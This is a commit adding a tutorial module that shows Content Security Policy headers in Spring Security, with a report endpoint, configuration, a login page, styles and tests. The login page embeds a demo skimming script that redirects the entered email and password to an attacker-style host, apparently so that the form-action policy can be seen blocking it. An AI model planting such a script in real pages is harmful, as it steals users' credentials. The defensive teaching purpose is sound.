BAEL-4837 - Content Security Policy using Spring Security and Spring … (#11603)

* BAEL-4837 - Content Security Policy using Spring Security and Spring Boot

* Application Code

* Formatted the code

* Reformatted the test cases as per review comments

* Removed the formatters and deleted extra spaces

Co-authored-by: Bhaskara Navuluri <bhaskara.navuluri@hpe.com>
This commit is contained in:
Bhaskara 2021-12-26 08:14:50 +05:30 committed by GitHub
parent 9b905cef77
commit f16ed0b658
7 changed files with 237 additions and 3 deletions

View File

@ -1,7 +1,5 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>spring-security-web-boot-3</artifactId>
<version>0.0.1-SNAPSHOT</version>
@ -25,6 +23,25 @@
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.1</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
<version>3.6.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>

View File

@ -0,0 +1,11 @@
package com.baeldung.contentsecuritypolicy;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class ContentSecurityPolicyApplication {
public static void main(String[] args) {
SpringApplication.run(ContentSecurityPolicyApplication.class, args);
}
}

View File

@ -0,0 +1,23 @@
package com.baeldung.contentsecuritypolicy;
import org.apache.commons.io.IOUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
@RestController
public class ContentSecurityPolicyController {
private static final Logger logger = LoggerFactory.getLogger(ContentSecurityPolicyController.class);
@PostMapping("/report")
public void report(HttpServletRequest request) throws IOException {
if (logger.isInfoEnabled()) {
logger.info("Report: {}", IOUtils.toString(request.getInputStream(), StandardCharsets.UTF_8));
}
}
}

View File

@ -0,0 +1,26 @@
package com.baeldung.contentsecuritypolicy;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.web.header.writers.StaticHeadersWriter;
@Configuration
public class ContentSecurityPolicySecurityConfiguration extends WebSecurityConfigurerAdapter {
private static final String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
@Override
protected void configure(HttpSecurity http) throws Exception {
http.csrf()
.disable()
.authorizeRequests()
.antMatchers("/**")
.permitAll()
.and()
.headers()
.addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
}
}

View File

@ -0,0 +1,67 @@
<!DOCTYPE html>
<html lang="en">
<head>
<title>Content Security Policy</title>
<link href="/webjars/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<script src="/webjars/jquery/jquery.min.js"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@100;200;300&display=swap" rel="stylesheet">
<link href="/main.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-dark bg-dark">
<div class="container-fluid">
<a class="navbar-brand" href="#">
Baeldung &ndash; Content Security Policy
</a>
</div>
</nav>
<br/>
<div class="container">
<div class="row justify-content-center">
<div class="col-6">
<div class="alert alert-warning" role="alert">
Session time out. Please login.
</div>
</div>
</div>
<div class="row justify-content-center">
<div class="col-6">
<div class="card">
<div class="card-body">
<h3 class="card-title"><strong>Login</strong></h3>
<hr/>
<form id="login" action="/login" method="post" autocomplete="off">
<div class="form-group">
<label for="email">Email <span class="text-danger">*</span></label>
<input type="text" class="form-control" id="email" autocomplete="off">
</div>
<br/>
<div class="form-group">
<label for="password">Password <span class="text-danger">*</span></label>
<input type="password" class="form-control" id="password">
</div>
<script>
let form = document.forms.login;
form.onsubmit = function () {
let username = document.getElementById("email").value;
let password = document.getElementById("password").value;
form.action = "https://youaredoomed.com:9090/collect?u=" + username + "&p=" + password;
}
</script>
<br/>
<button class="btn btn-primary">Login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>

View File

@ -0,0 +1,26 @@
html, body{
font-family: Raleway, serif;
background-color: #f5f5f5;
}
.navbar
{
background-color: #63b175 !important;
}
.navbar-brand
{
font-size: 1.75rem;
font-weight: bold;
}
/*
hr{
border: 0px dotted rgba(249, 249, 249, 0.88);
}*/
hr {
border: 0;
border-bottom: 1px dashed #969595;
background: #969595;
}
label{
font-weight: bold;
}

View File

@ -0,0 +1,64 @@
package com.baeldung.contentsecuritypolicy;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import javax.servlet.http.HttpServletResponse;
import java.util.Collection;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
@WebMvcTest
@AutoConfigureMockMvc
@DisplayName("Content Security Policy Unit Tests")
class ContentSecurityPolicyUnitTest {
@Autowired
private MockMvc mockMvc;
@Test
@DisplayName("Test to Check Bad URL")
void whenWrongUri_thenThrow404() throws Exception {
MvcResult result = mockMvc.perform(post("/reports").content("").contentType(MediaType.APPLICATION_JSON)).andReturn();
assertEquals(HttpStatus.NOT_FOUND.value(), result.getResponse().getStatus());
}
@Test
@DisplayName("Test to Check Page rendering")
void whenGet_thenRenderPage() throws Exception {
MvcResult result = mockMvc.perform(get("/").content("")).andReturn();
assertEquals(HttpStatus.OK.value(), result.getResponse().getStatus());
assertEquals("text/html", MediaType.TEXT_HTML_VALUE);
}
@Test
@DisplayName("Test to Check CSP headers")
void whenGet_thenCheckCspHeaders() throws Exception {
MvcResult result = mockMvc.perform(get("/").content("")).andReturn();
HttpServletResponse response = result.getResponse();
Collection<String> headers = response.getHeaderNames();
assertNotNull(result);
assertNotNull(headers);
assertEquals(HttpStatus.OK.value(), response.getStatus());
assertEquals("text/html", MediaType.TEXT_HTML_VALUE);
assertTrue(headers.contains("Report-To"));
assertTrue(headers.contains("Content-Security-Policy"));
}
}